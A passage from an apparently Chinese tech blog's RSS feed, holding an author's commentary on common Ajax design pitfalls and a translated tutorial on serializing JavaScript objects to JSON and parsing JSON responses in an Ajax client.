href="http://www.5bay.cn/network-programming/eejaxeeetpit.html" title="了解Ajax中的Get和Post ">了解Ajax中的Get和Post </a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/ajax" title="ajax" rel="tag">ajax</a>, <a href="http://www.5bay.cn/tag/code" title="code" rel="tag">code</a>, <a href="http://www.5bay.cn/tag/css" title="css" rel="tag">css</a>, <a href="http://www.5bay.cn/tag/dhtml" title="dhtml" rel="tag">dhtml</a>, <a href="http://www.5bay.cn/tag/html" title="html" rel="tag">html</a>, <a href="http://www.5bay.cn/tag/http%E8%AF%B7%E6%B1%82%E7%8A%B6%E6%80%81" title="http请求状态" rel="tag">http请求状态</a>, <a href="http://www.5bay.cn/tag/ie" title="ie" rel="tag">ie</a>, <a href="http://www.5bay.cn/tag/javascript" title="javascript" rel="tag">javascript</a>, <a href="http://www.5bay.cn/category/network-programming/javascript-ajax" title="JavaScript&amp;Ajax" rel="tag">JavaScript&amp;Ajax</a>, <a href="http://www.5bay.cn/tag/server" title="server" rel="tag">server</a>, <a href="http://www.5bay.cn/tag/status" title="status" rel="tag">status</a>, <a href="http://www.5bay.cn/tag/web" title="web" rel="tag">web</a>, <a href="http://www.5bay.cn/tag/web20" title="web2.0" rel="tag">web2.0</a>, <a href="http://www.5bay.cn/tag/xml" title="xml" rel="tag">xml</a>, <a href="http://www.5bay.cn/tag/xmlhttp" title="xmlhttp" rel="tag">xmlhttp</a>, <a href="http://www.5bay.cn/tag/%E4%BA%BA" title="人" rel="tag">人</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%9B%BE%E7%89%87" title="图片" rel="tag">图片</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE%E5%BA%93" title="数据库" rel="tag">数据库</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/tag/%E6%9B%B4%E6%96%B0" title="更新" rel="tag">更新</a>, <a href="http://www.5bay.cn/tag/%E6%B5%8F%E8%A7%88%E5%99%A8" title="浏览器" rel="tag">浏览器</a>, <a href="http://www.5bay.cn/tag/%E7%89%88%E6%9C%AC" title="版本" rel="tag">版本</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/tag/%E7%BD%91%E7%AB%99" title="网站" rel="tag">网站</a>, <a href="http://www.5bay.cn/category/network-programming" title="网络编程" rel="tag">网络编程</a>, <a href="http://www.5bay.cn/tag/%E8%BF%9E%E6%8E%A5" title="连接" rel="tag">连接</a>, <a href="http://www.5bay.cn/tag/%E9%93%BE%E6%8E%A5" title="链接" rel="tag">链接</a>, <a href="http://www.5bay.cn/tag/%E9%94%99%E8%AF%AF" title="错误" rel="tag">错误</a>, <a href="http://www.5bay.cn/tag/%E9%A1%B5%E9%9D%A2" title="页面" rel="tag">页面</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/network-programming/eejaxeeeeee.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ajax的缺点</title>
		<link>http://www.5bay.cn/network-programming/ajaxxuan.html</link>
		<comments>http://www.5bay.cn/network-programming/ajaxxuan.html#comments</comments>
		<pubDate>Sun, 25 Jul 2010 16:41:11 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[网络编程]]></category>
		<category><![CDATA[ajax]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[ie]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[js]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[人]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[兼容]]></category>
		<category><![CDATA[可用性]]></category>
		<category><![CDATA[应用程序]]></category>
		<category><![CDATA[收藏]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[浏览器]]></category>
		<category><![CDATA[版本]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[系统]]></category>
		<category><![CDATA[自身]]></category>
		<category><![CDATA[解决]]></category>
		<category><![CDATA[诫]]></category>
		<category><![CDATA[链接]]></category>
		<category><![CDATA[错误]]></category>
		<category><![CDATA[页面]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=466</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/ajaxxuan.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>下面是我对一部分缺陷的看法： 为Ajax而Ajax(Using Ajax for the sake of Ajax.) 很同意这点，当一个技术本身的生存意义由于它自身的亮点而被抹杀，不知道是这个技术的幸运还是不幸。 干掉了back按钮(Breaking the back button) back按钮是一个标准的web站点UI的重要功能。然后，后退按钮没法和js很好的合作…… gmail似乎作的很好？不过没去仔细看过gmail如何实现后退和js相容的，被这个mistake一提醒，也许这也是ue的一个切口哦。 点击的时候没有提供一个可视化的提示(Not giving immediate visual cues for clicking widgets) ……也许是我没看懂，觉得写这段的人自相矛盾。。他说没提供可视化提示，不过是拿gmail右上角的红色提示作为例子。 阻挡了离线用户于门外(Leaving offline people behind) 看标题就清楚了，不过我持保留意见，web application和离线浏览本身似乎就存在着矛盾，要整合，可能要动很多脑子 别让我等(Don’t make me wait) 不过，ajax本身就存在着如果客户端的带宽不够，它的展示就会一塌糊涂的问题，这是它的先天缺陷，也是它崛起的先天因素－－由于网速和带宽的不断增大，使得服务端与客户端的频繁通信成为可能。 显式的传递敏感信息(Sending sensitive information in the clear) 使用js传递数据，本身似乎就存在着这个风险，在我找到反对意见之前，我倾向认同这点－－https协议除外。 假设ajax发展是一个单平台的发展。(Assuming AJAX development is single platform development) 作者文中的观点是ajax由于必须兼容多个浏览器，而没法做到只需要编码到标准的js就行，还要考虑到各个浏览器的问题……这个是js的问题，和ajax关系不大吧？ 忘掉了可能多人在同时使用同一个应用(Forgetting that multiple people might [...]]]></description>
			<content:encoded><![CDATA[<p>下面是我对一部分缺陷的看法：</p>
<p>为Ajax而Ajax(Using Ajax for the sake of Ajax.)</p>
<p>很同意这点，当一个技术本身的生存意义由于它自身的亮点而被抹杀，不知道是这个技术的幸运还是不幸。</p>
<p>干掉了back按钮(Breaking the back button)</p>
<p>back按钮是一个标准的web站点UI的重要功能。然后，后退按钮没法和js很好的合作……<br />
gmail似乎作的很好？不过没去仔细看过gmail如何实现后退和js相容的，被这个mistake一提醒，也许这也是ue的一个切口哦。</p>
<p>点击的时候没有提供一个可视化的提示(Not giving immediate visual cues for clicking widgets)</p>
<p>……也许是我没看懂，觉得写这段的人自相矛盾。。他说没提供可视化提示，不过是拿gmail右上角的红色提示作为例子。<span id="more-466"></span></p>
<p>阻挡了离线用户于门外(Leaving offline people behind)</p>
<p>看标题就清楚了，不过我持保留意见，web application和离线浏览本身似乎就存在着矛盾，要整合，可能要动很多脑子</p>
<p>别让我等(Don’t make me wait)</p>
<p>不过，ajax本身就存在着如果客户端的带宽不够，它的展示就会一塌糊涂的问题，这是它的先天缺陷，也是它崛起的先天因素－－由于网速和带宽的不断增大，使得服务端与客户端的频繁通信成为可能。</p>
<p>显式的传递敏感信息(Sending sensitive information in the clear)</p>
<p>使用js传递数据，本身似乎就存在着这个风险，在我找到反对意见之前，我倾向认同这点－－https协议除外。</p>
<p>假设ajax发展是一个单平台的发展。(Assuming AJAX development is single platform development)</p>
<p>作者文中的观点是ajax由于必须兼容多个浏览器，而没法做到只需要编码到标准的js就行，还要考虑到各个浏览器的问题……这个是js的问题，和ajax关系不大吧？</p>
<p>忘掉了可能多人在同时使用同一个应用(Forgetting that multiple people might be using the same application at the same time)</p>
<p>嗯，这其实是一个同步的问题，在b/s系统中这是一个麻烦的问题……当然，也许并不麻烦，做一个标记位就解决了吧？</p>
<p>太多代码让浏览器慢下来(Too much <a href="http://www.5bay.cn/tag/code" class="st_tag internal_tag" rel="tag" title="标签 code 下的日志">code</a> makes the browser slow)</p>
<p>呃……同意这点，虽然在代码优化之后会有很大改善，但js本身运行速度慢这个缺陷还是会成为一个瓶颈。</p>
<p>不计划要那些禁用或者没有js的用户(Not having a plan for those who do not enable or have <a href="http://www.5bay.cn/tag/javascript" class="st_tag internal_tag" rel="tag" title="标签 javascript 下的日志">JavaScript</a>)</p>
<p>呃……我在页面上用ajax的时候就准备放弃这些用户了，我没google那么闲，作两套系统，一套用ajax，一套纯页面。不过养成一个良好的编码习惯还是有必要，比如在超链接中不要直接设置href=”javascript:&#8230;”而使用onmouseup或者onclick来触发事件，偶尔也为别人考虑考虑嘛，而且我也不能保证我的js程序在所有的浏览器上通吃。</p>
<p>不期然的页面闪烁和改变(Blinking and changing parts of the page unexpectedly)</p>
<p>我没经历过以前网页中blink标签的骚扰，所以我对作者的反感有点摸不着头脑，我觉得在适当的提示之后刷新某块页面总比整个页面的刷新看起来舒服。</p>
<p>没法把超链接发给朋友以及收藏(Not using links I can pass to friends or bookmark)</p>
<p>嘿嘿，这就是我上面提及的那点，如果编码习惯够好－－而且时间够多，在超链接中为非js用户和js用户提供两套方案是可行的。</p>
<p>同步导致的批量操作(Asynchronously performing batch operations)</p>
<p>作者的意思是说ajax一次性把原来要分几次作的操作一次做掉，而导致他没法跟踪每个元素变化，没法回溯，呃……也许是有这种需求吧。。不过似乎也是可以解决的吧？</p>
<p>导致页面滚动并让我迷失位置（Scrolling the page and making me lose my place）</p>
<p>作者认为插入文本到一个页面中会导致页面发生滚动，并让其迷失方向，我没看过这么恶心的效果，没法评价，不过我对于一些ajax的导航作的不好表示不满意，我经常会迷失于一些ajax程序中而不知道我刚才上一步到了哪里……</p>
<p>发明了新的UI习惯（Inventing new UI conventions）</p>
<p>呵呵，作者用了一句话来描述这个缺点：“点击一个不明显的东东来产生一个不明显的结果”。这个归纳倒是满准确的，在很多ajax程序中，用户完全是作为一个瞎子，在抖抖索索的摸着这个ajax程序大象，在到处瞎点一气并瞎拖一气之后才掌握这个程序的用法。但是换个角度来说，最开始的web页面不也是一样？没有开始的困难接触，不会有之后的进步，只要有足够的帮助，上手任何东西都应该不会太难－－除非这东西本来就不想让人觉得好用，那就是其它的问题了。</p>
<p>阻止了爬虫（Blocking Spidering）</p>
<p>同意这点，我在犹豫着使用ajax的时候，就在考虑爬虫对js的不感冒，以及爬虫该如何理解我那些以奇怪方式加载的页面，去解析ajax库似乎是一个不可能的事情，爬虫又不是人脑，如果爬虫可以媲美人脑，那就是《骇客帝国4》了。</p>
<p>字符集（Character Sets）</p>
<p>ajax本身对字符集的支持比较缺失，这个这个……设置成utf-8吧，不过作者最后也是这么说的。</p>
<p>使用超链接改变状态（Changing state with links (GET requests)）</p>
<p>作者认为主流的ajax应用程序都是用get方式来工作，而这违反了W3对GET和POST方法的使用建议……我少见多怪，主流的ajax应用程序我没怎么去看，不知道是不是真的都用get，虽然ajax编码用get简单，但不表示ajax不能用post吧？</p>
<p>没有连带改变页面中其它相关部分（Not cascading local changes to other parts of the page）</p>
<p>因为ajax让人很容易控制页面中的特定部分，所以也容易导致过于关注某个点而失去对整体布局的关注。嗯嗯……这是编码的问题，表怪到ajax头上。</p>
<p>问题报告（Problem reporting）</p>
<p>作者认为服务端的程序错误，很容易再现并捕捉，而客户端的错误要重现就比较麻烦，嗯，支持这点，不过还是和ajax关系不大……</p>
<p>投资回报(Return on Investment)</p>
<p>作者认为ajax能够提升应用程序的可用性，但是富客户端程序并不会比纯html版本好多少……忽略这个观点，来人，把作者拖出去，账责五十</p>
<p>拙劣地模仿浏览器页面跳转行为（Mimicing browser page navigation behavior imperfectly）</p>
<p>……忽略，没看到作者所描述的情况。</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeaoe.html" title="AJAX应用程序开发七宗罪">AJAX应用程序开发七宗罪</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajax.html" title="AJAX的各种控件和类库">AJAX的各种控件和类库</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题">深入探讨PHP中的内存管理问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术">XMLHTTP对象封装技术</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/webshelleechueeee.html" title="Webshell下破解计算机管理员密码">Webshell下破解计算机管理员密码</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/gaoxingnengwangzhanjianshezhinandushubiji.html" title="《高性能网站建设指南》读书笔记">《高性能网站建设指南》读书笔记</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/nginxderewriteguize.html" title="nginx的rewrite规则">nginx的rewrite规则</a> (1)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/ajax" title="ajax" rel="tag">ajax</a>, <a href="http://www.5bay.cn/tag/code" title="code" rel="tag">code</a>, <a href="http://www.5bay.cn/tag/google" title="google" rel="tag">google</a>, <a href="http://www.5bay.cn/tag/html" title="html" rel="tag">html</a>, <a href="http://www.5bay.cn/tag/ie" title="ie" rel="tag">ie</a>, <a href="http://www.5bay.cn/tag/javascript" title="javascript" rel="tag">javascript</a>, <a href="http://www.5bay.cn/tag/js" title="js" rel="tag">js</a>, <a href="http://www.5bay.cn/category/network-programming/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/web" title="web" rel="tag">web</a>, <a href="http://www.5bay.cn/tag/%E4%BA%BA" title="人" rel="tag">人</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%85%BC%E5%AE%B9" title="兼容" rel="tag">兼容</a>, <a href="http://www.5bay.cn/tag/%E5%8F%AF%E7%94%A8%E6%80%A7" title="可用性" rel="tag">可用性</a>, <a href="http://www.5bay.cn/tag/%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F" title="应用程序" rel="tag">应用程序</a>, <a href="http://www.5bay.cn/tag/%E6%94%B6%E8%97%8F" title="收藏" rel="tag">收藏</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/tag/%E6%B5%8F%E8%A7%88%E5%99%A8" title="浏览器" rel="tag">浏览器</a>, <a href="http://www.5bay.cn/tag/%E7%89%88%E6%9C%AC" title="版本" rel="tag">版本</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/tag/%E7%B3%BB%E7%BB%9F" title="系统" rel="tag">系统</a>, <a href="http://www.5bay.cn/category/network-programming" title="网络编程" rel="tag">网络编程</a>, <a href="http://www.5bay.cn/tag/%E8%87%AA%E8%BA%AB" title="自身" rel="tag">自身</a>, <a href="http://www.5bay.cn/tag/%E8%A7%A3%E5%86%B3" title="解决" rel="tag">解决</a>, <a href="http://www.5bay.cn/tag/e" title="诫" rel="tag">诫</a>, <a href="http://www.5bay.cn/tag/%E9%93%BE%E6%8E%A5" title="链接" rel="tag">链接</a>, <a href="http://www.5bay.cn/tag/%E9%94%99%E8%AF%AF" title="错误" rel="tag">错误</a>, <a href="http://www.5bay.cn/tag/%E9%A1%B5%E9%9D%A2" title="页面" rel="tag">页面</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/network-programming/ajaxxuan.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>基于JSON的高级AJAX开发技术</title>
		<link>http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html</link>
		<comments>http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html#comments</comments>
		<pubDate>Sun, 25 Jul 2010 16:39:46 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[网络编程]]></category>
		<category><![CDATA[ajax]]></category>
		<category><![CDATA[div]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[js]]></category>
		<category><![CDATA[mod]]></category>
		<category><![CDATA[url]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[xml]]></category>
		<category><![CDATA[人]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[分离]]></category>
		<category><![CDATA[对象]]></category>
		<category><![CDATA[属性]]></category>
		<category><![CDATA[应用程序]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[数据库]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[浏览器]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[类]]></category>
		<category><![CDATA[网站]]></category>
		<category><![CDATA[自身]]></category>
		<category><![CDATA[诫]]></category>
		<category><![CDATA[链接]]></category>
		<category><![CDATA[面向对象]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=464</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>一、 引言 　　毫无疑问，AJAX已经成为当今Web开发中一种强有力的用户交互技术，但是它的许多可能性应用仍然鲜为人知。在本文中，我们将来共同探讨如何使用JavaScript对象标志(JSON)和JSON分析器在服务器和客户端AJAX引擎之间创建复杂而强有力的JSON数据传输层。我们将详细讨论如何创建一组对象(在其它语言中经常被当作一个包)，如何把这些对象串行化为JSON以发送到服务器端，以及如何把服务器端JSON反串行化为客户端JavaScript对象。 　　提示：你可以在Douglas Crockford的网站上找到本文中使用的JSON分析器。 　　在继续阅读前，本文假定你已经掌握了JavaScript技术并且了解如何创建一个基本的AJAX引擎，并经由AJAX技术向服务器端发出请求和从服务器端接收响应。为了更好地理解本文中示例，你需要下载本文相应的源码文件。 　　二、 开始 　　为了进一步抽象我们的AJAX请求并有助于我们以后在不同的应用程序间共享AJAX引擎代码，本文使用了一个我自己创建的AJAX引擎。为了使用这个引擎，我们简单地导入三个JavaScript文件并且向一个名为AjaxUpdater的对象发出请求。然后，由该引擎来负责处理其它任务，包括把响应代理到在该请求中指定的回调方法中。下面的示例展示了我们如何使用这个引擎发出请求以及导入相关的文件： ＜script type=”text/javascript”src=”javascript/model/Ajax.js”＞＜/script＞ ＜script type=”text/javascript” src=”javascript/model/HTTP.js”＞＜/script＞ ＜script type=”text/javascript” src=”javascript/model/AjaxUpdater.js”＞＜/script＞ ＜script type=”text/javascript”＞ document.load = AjaxUpdater.Update(’GET’， URL， callback); ＜/script＞ 　　首先，让我们来讨论JavaScript对象。 三、 JavaScript对象 　　JavaScript以前经常被误解，似乎它主要用于实现客户浏览器端图形效果。其实，JavaScript是一种强有力的语言，特别当它与AJAX以及一个应用程序的服务器端相结合时;但是，即使在客户端，JavaScript也能够实现远比你预料得多的多的功能。面向对象的JavaScript就是一个示例，它能够使我们创建对象，扩展内在对象，甚至能够把我们的对象创建成包以达到更容易的管理之目的。 　　在本文示例中，我们将创建三个对象：Auto，Car和Wheel。其中，每一个都是简单的对象;在此，我们仅使用它们来展示如何创建一个基本包。 　　首先，Auto对象被声明为一个新的对象： 　　var Auto = new Object(); 　　注意，这个Auto对象将用作Car对象的父类。因此，Car对象将成为Auto对象的一个属性，只不过它被分离到另一个文件中以更易于管理(这个概念经常被用于其它面向对象的语言中，但是在JavaScript中却并不经常提起它)。下面是这个Car对象相应的代码： 　　Auto.Car = new Object(); 　　Auto.Car.color = “#fff”; 　　Auto.Car.setColor = function(_color) 　　{ 　　Auto.Car.color = _color; 　　} 　　Auto.Car.setColor(“#333&#8243;); 　　如你所见，该Car对象是Auto对象的一个子对象—这分明是一种类对象层次结构。这个对象有一个名为color的属性和一个用于设置它的方法。在此，我们把color属性设置为灰色以覆盖掉缺省的白色。当在后面我们串行化该对象时请牢记住这个事实。 　　下一个对象，Wheel，是Car的一个子对象： [...]]]></description>
			<content:encoded><![CDATA[<p>一、 引言</p>
<p>　　毫无疑问，AJAX已经成为当今Web开发中一种强有力的用户交互技术，但是它的许多可能性应用仍然鲜为人知。在本文中，我们将来共同探讨如何使用JavaScript对象标志(JSON)和JSON分析器在服务器和客户端AJAX引擎之间创建复杂而强有力的JSON数据传输层。我们将详细讨论如何创建一组对象(在其它语言中经常被当作一个包)，如何把这些对象串行化为JSON以发送到服务器端，以及如何把服务器端JSON反串行化为客户端JavaScript对象。</p>
<p>　　提示：你可以在Douglas Crockford的网站上找到本文中使用的JSON分析器。</p>
<p>　　在继续阅读前，本文假定你已经掌握了JavaScript技术并且了解如何创建一个基本的AJAX引擎，并经由AJAX技术向服务器端发出请求和从服务器端接收响应。为了更好地理解本文中示例，你需要下载本文相应的源码文件。<span id="more-464"></span></p>
<p>　　二、 开始</p>
<p>　　为了进一步抽象我们的AJAX请求并有助于我们以后在不同的应用程序间共享AJAX引擎代码，本文使用了一个我自己创建的AJAX引擎。为了使用这个引擎，我们简单地导入三个JavaScript文件并且向一个名为AjaxUpdater的对象发出请求。然后，由该引擎来负责处理其它任务，包括把响应代理到在该请求中指定的回调方法中。下面的示例展示了我们如何使用这个引擎发出请求以及导入相关的文件：</p>
<p>＜script type=”text/javascript”src=”javascript/model/Ajax.<a href="http://www.5bay.cn/tag/js" class="st_tag internal_tag" rel="tag" title="标签 js 下的日志">js</a>”＞＜/script＞<br />
＜script type=”text/javascript” src=”javascript/model/HTTP.js”＞＜/script＞<br />
＜script type=”text/javascript” src=”javascript/model/AjaxUpdater.js”＞＜/script＞<br />
＜script type=”text/javascript”＞<br />
document.load = AjaxUpdater.Update(’GET’， URL， callback);<br />
＜/script＞ </p>
<p>　　首先，让我们来讨论JavaScript对象。</p>
<p>三、 JavaScript对象 </p>
<p>　　JavaScript以前经常被误解，似乎它主要用于实现客户浏览器端图形效果。其实，JavaScript是一种强有力的语言，特别当它与AJAX以及一个应用程序的服务器端相结合时;但是，即使在客户端，JavaScript也能够实现远比你预料得多的多的功能。面向对象的JavaScript就是一个示例，它能够使我们创建对象，扩展内在对象，甚至能够把我们的对象创建成包以达到更容易的管理之目的。</p>
<p>　　在本文示例中，我们将创建三个对象：Auto，Car和Wheel。其中，每一个都是简单的对象;在此，我们仅使用它们来展示如何创建一个基本包。</p>
<p>　　首先，Auto对象被声明为一个新的对象：</p>
<p>　　var Auto = new Object(); </p>
<p>　　注意，这个Auto对象将用作Car对象的父类。因此，Car对象将成为Auto对象的一个属性，只不过它被分离到另一个文件中以更易于管理(这个概念经常被用于其它面向对象的语言中，但是在JavaScript中却并不经常提起它)。下面是这个Car对象相应的代码：</p>
<p>　　Auto.Car = new Object();<br />
　　Auto.Car.color = “#fff”;<br />
　　Auto.Car.setColor = function(_color)<br />
　　{<br />
　　Auto.Car.color = _color;<br />
　　}<br />
　　Auto.Car.setColor(“#333&#8243;); </p>
<p>　　如你所见，该Car对象是Auto对象的一个子对象—这分明是一种类对象层次结构。这个对象有一个名为color的属性和一个用于设置它的方法。在此，我们把color属性设置为灰色以覆盖掉缺省的白色。当在后面我们串行化该对象时请牢记住这个事实。</p>
<p>　　下一个对象，Wheel，是Car的一个子对象：</p>
<p>Auto.Car.Wheel = new Object();<br />
Auto.Car.Wheel.color = “#000&#8243;; </p>
<p>　　在此，Wheel是一个基本对象，但是它展示了对象层次中的又一个层。这个对象有一个称为color的缺省值为黑色(“#000”)的属性。</p>
<p>　　下面，让我们来分析一下为什么这些对象如此重要以及我们是如何使用它们提供的简单的属性的。</p>
<p>四、 把JavaScript对象串行化为JSON </p>
<p>　　借助于JSON分析器，我们可以很容易地把刚才创建的JavaScript对象串行化为JSON。首先，我们需要下载该分析器的一个副本，并且要把它添加到文档中。下面是我在本文示例中用于导入该脚本的相应的代码：</p>
<p>＜script type=”text/javascript” src=”javascript/utils/jsonparser.js”＞＜/script＞ </p>
<p>　　我已经把该分析器添加到我的javascript目录，即一个称为utils的子目录下。</p>
<p>　　下面是最终的包括到其中用于导入适当的JavaScript文件的代码片断：</p>
<p>以下是引用片段：<br />
＜script type=”text/javascript” src=”javascript/Auto.js”＞＜/script＞<br />
＜script type=”text/javascript” src=”javascript/Car.js”＞＜/script＞<br />
＜script type=”text/javascript” src=”javascript/Wheel.js”＞＜/script＞<br />
＜script type=”text/javascript” src=”javascript/utils/jsonparser.js”＞＜/script＞<br />
＜script type=”text/javascript” src=”javascript/model/Ajax.js”＞＜/script＞<br />
＜script type=”text/javascript” src=”javascript/model/HTTP.js”＞＜/script＞<br />
＜script type=”text/javascript” src=”javascript/model/AjaxUpdater.js”＞＜/script＞ </p>
<p>　　在导入适当的文件后，我们可以通过把两个div元素和一个onload事件简单地添加到HTML文档中开始串行化。这两个div元素将分别拥有ID：body和loading。其中，这个loading标签将由AJAX引擎使用来指示进度情况，而body标签将用于显示消息。</p>
<p>＜div id=”loading”＞＜/div＞<br />
＜div id=”body”＞＜/div＞ </p>
<p>　　onload事件相应于body元素并且设置它的innerHTML属性为JavaScript对象(作为一个串行化的JSON字符串)。为了实现这一目的，我在Auto对象上使用了jsonparser.js文件内的toJSONString方法：</p>
<p>＜body onload=”document.getElementById(’body’).innerHTML = ’＜b＞Local objects serialized as JSON＜/b＞<br />
Auto Object: ’+ Auto.toJSONString();”＞ </p>
<p>　　这段代码使用了Auto对象及其所有的子对象，并且使用JSON分析器的toJSONString方法把它们串行化为一个JSON字符串。然后，该数据可以被用作服务器端的一种数据交换格式。</p>
<p>　　你可能还记得，在前面我们曾调用了一个称为setColor的方法来改变Car对象的颜色。当时，我使用它是因为我想向你展示串行化能够在运行时刻的任何点上实现，而且还为了反映出对象中最新的数据。</p>
<p>　　如果你仔细分析一下onload事件，你会注意到，Car和Wheel对象都包装在方括号内，这些方括号代表了父对象(即Auto)。这意味着，该串行化的JavaScript对象能够在运行时刻被发送到服务器端以存储最新的数据，并且也可以在应用程序启动时从服务器端进行接收以便从数据库中检索多数的当前数据。最精彩的部分在于，为了创建一种“无缝”的过程，所有与服务器之间实现的数据交换都可以使用JSON技术来实现。</p>
<p>　　下面，让我们来看一下相同的数据是如何从服务器端接收的，以及它们是如何被使用最新的数据(典型地，来源于一个数据库)串行化为客户端JavaScript对象的。</p>
<p>五、 把JSON反串行化为客户端JavaScript对象 </p>
<p>　　在本文中，我简单地把一个静态文件创建为JSON响应，但是在实际开发中，你可以把这些数据存储在一个数据库中并且使用一种服务器端语言返回它。基于这一能力，我们就可以轻松地创建一种强有力的数据交换过程!在前面，我们已经分析了这一串行化过程。凭基本的AJAX体验，你应该能够理解数据是如何被寄送到服务器端的。现在，让我们着手讨论反串行化的问题。首先来看一个针对本文示例提供的静态JSON文件。这个文件其实是我们在上一节中串行化的数据：</p>
<p>}} </p>
<p>　　作为一个请求JSON文件的示例，当我们点击下列链接时将请求这个串行化的Auto对象：</p>
<p>＜a href=”javascript:AjaxUpdater.Update(’GET’， ’json/data.js’， displayResponse);”＞Get remote JSON＜/a＞ </p>
<p>　　一旦接收到响应消息，我们的称为displayResponse回调方法就会被激活，然后，我们就能够反串行化并开始使用这些对象：</p>
<p>＜script type=”text/javascript”＞<br />
function displayResponse()<br />
{<br />
　if(Ajax.checkReadyState(’loading’) == “OK”)<br />
　{<br />
　　var Auto = Ajax.request.responseText.parseJSON();<br />
　　document.getElementById(“body”).innerHTML += ”<br />
＜b＞Remote JSON unserialized＜/b＞”;<br />
　　document.getElementById(“body”).innerHTML += ”<br />
Car color: “+Auto.Car.color;<br />
　　document.getElementById(“body”).innerHTML += ”<br />
Wheel color: “+Auto.Car.Wheel.color;<br />
　}<br />
}<br />
＜/script＞ </p>
